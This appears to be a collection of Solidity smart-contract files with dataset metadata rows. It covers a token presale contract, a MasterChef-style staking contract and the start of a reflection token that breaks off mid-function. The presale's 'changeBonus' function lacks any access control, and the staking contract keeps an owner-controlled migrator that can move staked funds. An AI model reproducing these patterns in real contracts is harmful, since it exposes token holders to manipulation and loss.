event Hold(address sender, address contributor, uint amount, uint8 holdPeriod);
event ManualChangeStartDate(uint beforeDate, uint afterDate);
event ManualChangeEndDate(uint beforeDate, uint afterDate);
event ChangeMinAmount(uint oldMinAmount, uint minAmount);
event BonusChanged(uint minAmount, uint maxAmount, uint8 newBonus);
event HolderAdded(address addr, uint contribution, uint tokens, uint holdPeriodTimestamp);
event FundsTransferredToMultisig(address multisig, uint value);
event SaleNew();
event SaleStarted();
event SaleEnded();
event ManualPriceChange(uint beforePrice, uint afterPrice);
event HoldChanged(address holder, uint tokens, uint timest);
event TokenChanged(address newAddress);
modifier onlyAssetsOwners() {
require(assetOwnersIndex[msg.sender] > 0 || msg.sender == owner);
_;
}
function OpportyMonthHold(address walletAddress, uint start, uint end, uint endSale) public {
holdPeriod = 30 days;
state = SaleState.NEW;
startDate = start;
endDate = end;
endSaleDate = endSale;
price = 0.0002 * 1 ether;
multisig = walletAddress;
minimalContribution = 0.3 * 1 ether;
bonuses.push(Bonus({minAmount: 0, maxAmount: 50, bonus: 25 }));
bonuses.push(Bonus({minAmount: 50, maxAmount: 100, bonus: 30 }));
bonuses.push(Bonus({minAmount: 100, maxAmount: 250, bonus: 35 }));
bonuses.push(Bonus({minAmount: 250, maxAmount: 500, bonus: 40 }));
bonuses.push(Bonus({minAmount: 500, maxAmount: 1000, bonus: 45 }));
bonuses.push(Bonus({minAmount: 1000, maxAmount: 5000, bonus: 55 }));
bonuses.push(Bonus({minAmount: 5000, maxAmount: 99999999, bonus: 70 }));
}
function changeBonus(uint minAmount, uint maxAmount, uint8 newBonus) public {
bool find = false;
for (uint i = 0; i < bonuses.length; ++i) {
if (bonuses[i].minAmount == minAmount && bonuses[i].maxAmount == maxAmount) {
bonuses[i].bonus = newBonus;
find = true;
break;
}
}
if (!find) {
bonuses.push(Bonus({minAmount:minAmount, maxAmount: maxAmount, bonus:newBonus}));
}
BonusChanged(minAmount, maxAmount, newBonus);
}
function getBonus(uint am) public view returns(uint8) {
uint8 bon = 0;
am /= 10 ** 18;
for (uint i = 0; i < bonuses.length; ++i) {
if (am >= bonuses[i].minAmount && am<bonuses[i].maxAmount)
bon = bonuses[i].bonus;
}
return bon;
}
function() public payable {
require(state == SaleState.SALE);
require(msg.value >= minimalContribution);
require(now >= startDate);
if (now > endDate) {
state = SaleState.ENDED;
msg.sender.transfer(msg.value);
SaleEnded();
return ;
}
uint tokenAmount = msg.value.div(price);
tokenAmount += tokenAmount.mul(getBonus(msg.value)).div(100);
tokenAmount *= 10 ** 18;
uint holdTimestamp = endSaleDate.add(holdPeriod);
addHolder(msg.sender, tokenAmount, holdTimestamp);
HolderAdded(msg.sender, msg.value, tokenAmount, holdTimestamp);
forwardFunds();
}
function addHolder(address holder, uint tokens, uint timest) internal {
if (holderList[holder].isActive == false) {
holderList[holder].isActive = true;
holderList[holder].tokens = tokens;
holderList[holder].holdPeriodTimestamp = timest;
holderIndexes[holderIndex] = holder;
holderIndex++;
} else {
holderList[holder].tokens += tokens;
holderList[holder].holdPeriodTimestamp = timest;
}
}
function changeHold(address holder, uint tokens, uint timest) onlyAssetsOwners public {
if (holderList[holder].isActive == true) {
holderList[holder].tokens = tokens;
holderList[holder].holdPeriodTimestamp = timest;
HoldChanged(holder, tokens, timest);
}
}
function forwardFunds() internal {
ethRaised += msg.value;
multisig.transfer(msg.value);
FundsTransferredToMultisig(multisig, msg.value);
}
function newPresale() public onlyOwner {
state = SaleState.NEW;
SaleNew();
}
function startPresale() public onlyOwner {
state = SaleState.SALE;
SaleStarted();
}
function endPresale() public onlyOwner {
state = SaleState.ENDED;
SaleEnded();
}
function addAssetsOwner(address _owner) public onlyOwner {
assetOwnersIndexes++;
assetOwners[assetOwnersIndexes] = _owner;
assetOwnersIndex[_owner] = assetOwnersIndexes;
}
function removeAssetsOwner(address _owner) public onlyOwner {
uint index = assetOwnersIndex[_owner];
delete assetOwnersIndex[_owner];
delete assetOwners[index];
assetOwnersIndexes--;
}
function getAssetsOwners(uint _index) onlyOwner public constant returns (address) {
return assetOwners[_index];
}
function getBalance() public constant returns (uint) {
return token.balanceOf(this);
}
function returnTokens(uint nTokens) public onlyOwner returns (bool) {
require(nTokens <= getBalance());
token.transfer(msg.sender, nTokens);
TokensTransfered(msg.sender, nTokens);
return true;
}
function unlockTokens() public returns (bool) {
require(holderList[msg.sender].isActive);
require(!holderList[msg.sender].withdrawed);
require(now >= holderList[msg.sender].holdPeriodTimestamp);
token.transfer(msg.sender, holderList[msg.sender].tokens);
holderList[msg.sender].withdrawed = true;
TokensTransfered(msg.sender, holderList[msg.sender].tokens);
return true;
}
function setStartDate(uint date) public onlyOwner {
uint oldStartDate = startDate;
startDate = date;
ManualChangeStartDate(oldStartDate, date);
}
function setEndSaleDate(uint date) public onlyOwner {
uint oldEndDate = endSaleDate;
endSaleDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setEndDate(uint date) public onlyOwner {
uint oldEndDate = endDate;
endDate = date;
ManualChangeEndDate(oldEndDate, date);
}
function setPrice(uint newPrice) public onlyOwner {
uint oldPrice = price;
price = newPrice;
ManualPriceChange(oldPrice, newPrice);
}
function setMinimalContribution(uint minimumAmount) public onlyOwner {
uint oldMinAmount = minimalContribution;
minimalContribution = minimumAmount;
ChangeMinAmount(oldMinAmount, minimalContribution);
}
function batchChangeHoldPeriod(uint holdedPeriod) public onlyAssetsOwners {
for (uint i = 0; i < holderIndex; ++i) {
holderList[holderIndexes[i]].holdPeriodTimestamp = holdedPeriod;
HoldChanged(holderIndexes[i], holderList[holderIndexes[i]].tokens, holdedPeriod);
}
}
function setToken(address newToken) public onlyOwner {
token = OpportyToken(newToken);
TokenChanged(token);
}
function getTokenAmount() public view returns (uint) {
uint tokens = 0;
for (uint i = 0; i < holderIndex; ++i) {
if (!holderList[holderIndexes[i]].withdrawed) {
tokens += holderList[holderIndexes[i]].tokens;
}
}
return tokens;
}
function getEthRaised() constant external returns (uint) {
return ethRaised;
}
}
| 203,912 | 11,706 |
2e581c2e0b242bea066a1f6db32d5c7d714a4e41be4b4db6de93a2bb0129dac4
| 20,556 |
.sol
|
Solidity
| false |
386790512
|
RezerveOnEth/Rezerve
|
19c850bbfaa60d39c0c360267ef07624495654be
|
contracts/ReserveStaking.sol
| 4,467 | 16,511 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
interface IMigratorChef {
// Perform LP token migration from legacy UniswapV2 to SushiSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token) external returns (IERC20);
}
interface SushiToken {
function transferFrom (address _from, address _to, uint256 _amount) external returns (bool);
function balanceOf(address _address) external returns (uint256);
function transfer (address _to, uint256 _amount) external returns (bool);
}
// MasterChef is the master of Sushi. He can make Sushi and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once SUSHI is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract ReserveStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of SUSHIs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.
uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.
uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below.
}
address public Receiver;
// The SUSHI TOKEN!
SushiToken public sushi;
// Dev address.
address public devaddr;
// Block number when bonus SUSHI period ends.
uint256 public bonusEndBlock;
// SUSHI tokens created per block.
uint256 public sushiPerBlock;
// Bonus muliplier for early sushi makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SUSHI mining starts.
uint256 public startBlock;
address public reserveAddress;
mapping (address => bool) public tokenAdded;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user,
uint256 indexed pid,
uint256 amount);
constructor() {
reserveAddress = 0xA8339616c616D85352336b27db2785A8160Ef34f;
sushi = SushiToken (reserveAddress);
Receiver = 0x31040760372657c69C3296104A9f01de727f05d6;
devaddr = msg.sender;
sushiPerBlock = 4 * (10 ** 15);
bonusEndBlock = block.number;
startBlock = block.number;
add(100 , IERC20(reserveAddress) ,true);
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate) internal {
if (_withUpdate) {
massUpdatePools();
}
require (tokenAdded[address(_lpToken)] == false , "Token Already Added");
tokenAdded[address(_lpToken)] = true;
uint256 lastRewardBlock =
block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accSushiPerShare: 0
}));
}
function setSushiPerBlock (uint256 _sushiperblock) public onlyOwner {
sushiPerBlock = _sushiperblock;
}
// Update the given pool's SUSHI allocation point. Can only be called by the owner.
function set(uint256 _pid,
uint256 _allocPoint,
bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(_to.sub(bonusEndBlock));
}
}
// View function to see pending SUSHIs on frontend.
function pendingSushi(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier =
getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward =
multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accSushiPerShare = accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 sushiReward =
multiplier.mul(sushiPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
sushi.transferFrom (Receiver, address(this), sushiReward);
pool.accSushiPerShare = pool.accSushiPerShare.add(sushiReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for SUSHI allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending =
user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);
safeSushiTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender),
address(this),
_amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending =
user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);
safeSushiTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function safeSushiTransfer(address _to, uint256 _amount) internal {
uint256 sushiBal = sushi.balanceOf(address(this));
if (_amount > sushiBal) {
sushi.transfer(_to, sushiBal);
} else {
sushi.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
| 264,585 | 11,707 |
592eb0b6f3f0964c3ab09af189a7663828bb70dfb81031389aae00cfe52cb7fa
| 23,587 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
Clown World/contracts/ClownWorld.sol
| 7,087 | 22,987 |
pragma solidity 0.8.2;
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract ClownWorld is Ownable, ERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _rOwned;
mapping (address => uint256) public _tOwned;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxTokenPerWallet;
mapping (address => bool) public _isExcludedFromReward;
mapping (address => bool) public _automatedMarketMakerPairs;
address[] private _excluded;
address public constant burnWallet = address(0x000000000000000000000000000000000000dEaD);
address public marketingWallet = payable(0x5B384bc26bC46A9D5bFC4dCFF8FC8CEf37d57E82);
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 555555555555 * (10**18);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public liquidityFeeTotal;
uint256 public marketingFeeTotal;
uint256[] public liquidityFee;
uint256[] public marketingFee;
uint256[] public reflectionFee;
uint256[] public burnFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
uint256 private _reflectionFee;
uint256 private _burnFee;
IUniswapV2Router public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool public swapAndLiquifyEnabled;
uint256 public swapTokensAtAmount = 555555 * (10**18);
uint256 public maxTokenPerWallet = 5555555555 * (10**18);
event SwapTokensAmountUpdated(uint256 amount);
event MarketingWalletUpdated(address newWallet);
event SwapAndLiquifyStatusUpdated(bool status);
event AutomatedMarketMakerPairUpdated(address pair, bool status);
event MigrateTokens(address token, address receiver, uint256 amount);
event TransferETH(address recipient, uint256 amount);
event LiquidityFeeUpdated(uint256 buy, uint256 sell, uint256 p2p);
event MarketingFeeUpdated(uint256 buy, uint256 sell, uint256 p2p);
event ReflectionFeeUpdated(uint256 buy, uint256 sell, uint256 p2p);
event BurnFeeUpdated(uint256 buy, uint256 sell, uint256 p2p);
constructor (address owner) ERC20("Clown World", "$CLNWLD") {
_rOwned[owner] = _rTotal;
uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(uniswapV2Pair, true);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromMaxTokenPerWallet[address(uniswapV2Pair)] = true;
_isExcludedFromMaxTokenPerWallet[address(this)] = true;
_isExcludedFromMaxTokenPerWallet[owner] = true;
liquidityFee.push(200);
liquidityFee.push(200);
liquidityFee.push(0);
marketingFee.push(200);
marketingFee.push(200);
marketingFee.push(0);
reflectionFee.push(200);
reflectionFee.push(200);
reflectionFee.push(0);
burnFee.push(200);
burnFee.push(200);
burnFee.push(0);
_excludeFromReward(address(burnWallet));
_excludeFromReward(address(uniswapV2Pair));
_excludeFromReward(address(this));
emit Transfer(address(0), owner, _tTotal);
}
receive() external payable {}
function totalSupply() public override pure returns (uint256) {
return _tTotal;
}
function excludeFromFee(address account, bool status) external onlyOwner {
require(_isExcludedFromFee[account] != status, "Account is already the value of 'status'");
_isExcludedFromFee[account] = status;
}
function excludeFromMaxTokenPerWallet(address account, bool status) external onlyOwner {
require(_isExcludedFromMaxTokenPerWallet[account] != status, "Account is already the value of 'status'");
_isExcludedFromMaxTokenPerWallet[account] = status;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcludedFromReward[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcludedFromReward[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedFromReward[account] = false;
_excluded.pop();
break;
}
}
}
function setSwapTokensAtAmount(uint256 amount) external onlyOwner {
require(amount <= totalSupply(), "Amount cannot be over the total supply.");
swapTokensAtAmount = amount;
emit SwapTokensAmountUpdated(amount);
}
function setMarketingWallet(address payable _marketingWallet) external onlyOwner{
require(_marketingWallet != address(0), "Zero address");
marketingWallet = _marketingWallet;
emit MarketingWalletUpdated(_marketingWallet);
}
function setSwapAndLiquifyEnabled(bool status) external onlyOwner {
require(swapAndLiquifyEnabled != status, "Account is already the value of 'status'");
swapAndLiquifyEnabled = status;
emit SwapAndLiquifyStatusUpdated(status);
}
function setAutomatedMarketMakerPair(address pair, bool status) external onlyOwner {
require(_automatedMarketMakerPairs[pair] != status, "Automated market maker pair is already set to that value");
require(pair != address(uniswapV2Pair), "The pair cannot be removed from automatedMarketMakerPairs");
_automatedMarketMakerPairs[address(pair)] = status;
emit AutomatedMarketMakerPairUpdated(pair, status);
}
function setLiquidityFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner {
require(marketingFee[0] + reflectionFee[0] + burnFee[0] + buy <= 2500 , "Max fee limit reached for 'BUY'");
require(marketingFee[1] + reflectionFee[1] + burnFee[1] + sell <= 2500 , "Max fee limit reached for 'SELL'");
require(marketingFee[2] + reflectionFee[2] + burnFee[2] + p2p <= 2500 , "Max fee limit reached for 'P2P'");
liquidityFee[0] = buy;
liquidityFee[1] = sell;
liquidityFee[2] = p2p;
emit LiquidityFeeUpdated(buy, sell, p2p);
}
function setMarketingFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner {
require(liquidityFee[0] + reflectionFee[0] + burnFee[0] + buy <= 2500 , "Max fee limit reached for 'BUY'");
require(liquidityFee[1] + reflectionFee[1] + burnFee[1] + sell <= 2500 , "Max fee limit reached for 'SELL'");
require(liquidityFee[2] + reflectionFee[2] + burnFee[2] + p2p <= 2500 , "Max fee limit reached for 'P2P'");
marketingFee[0] = buy;
marketingFee[1] = sell;
marketingFee[2] = p2p;
emit MarketingFeeUpdated(buy, sell, p2p);
}
function setReflectionFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner {
require(liquidityFee[0] + marketingFee[0] + burnFee[0] + buy <= 2500 , "Max fee limit reached for 'BUY'");
require(liquidityFee[1] + marketingFee[1] + burnFee[1] + sell <= 2500 , "Max fee limit reached for 'SELL'");
require(liquidityFee[2] + marketingFee[2] + burnFee[2] + p2p <= 2500 , "Max fee limit reached for 'P2P'");
reflectionFee[0] = buy;
reflectionFee[1] = sell;
reflectionFee[2] = p2p;
emit ReflectionFeeUpdated(buy, sell, p2p);
}
function setBurnFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner {
require(liquidityFee[0] + marketingFee[0] + reflectionFee[0] + buy <= 2500 , "Max fee limit reached for 'BUY'");
require(liquidityFee[1] + marketingFee[1] + reflectionFee[1] + sell <= 2500 , "Max fee limit reached for 'SELL'");
require(liquidityFee[2] + marketingFee[2] + reflectionFee[2] + p2p <= 2500 , "Max fee limit reached for 'P2P'");
burnFee[0] = buy;
burnFee[1] = sell;
burnFee[2] = p2p;
emit BurnFeeUpdated(buy, sell, p2p);
}
function balanceOf(address account) public override view returns (uint256) {
if (_isExcludedFromReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _excludeFromReward(address account) internal {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReward[account] = true;
_excluded.push(account);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(_automatedMarketMakerPairs[pair] != value, "Automated market maker pair is already set to that value");
_automatedMarketMakerPairs[pair] = value;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tMarketing, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tMarketing);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateReflectionFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tMarketing = calculateMarketingFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tMarketing);
return (tTransferAmount, tFee, tLiquidity, tMarketing);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rMarketing);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcludedFromReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeMarketing(uint256 tMarketing) private {
uint256 currentRate = _getRate();
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
if(_isExcludedFromReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tMarketing);
}
function _takeBurn(uint256 tBurn) private {
uint256 currentRate = _getRate();
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[burnWallet] = _rOwned[burnWallet].add(rBurn);
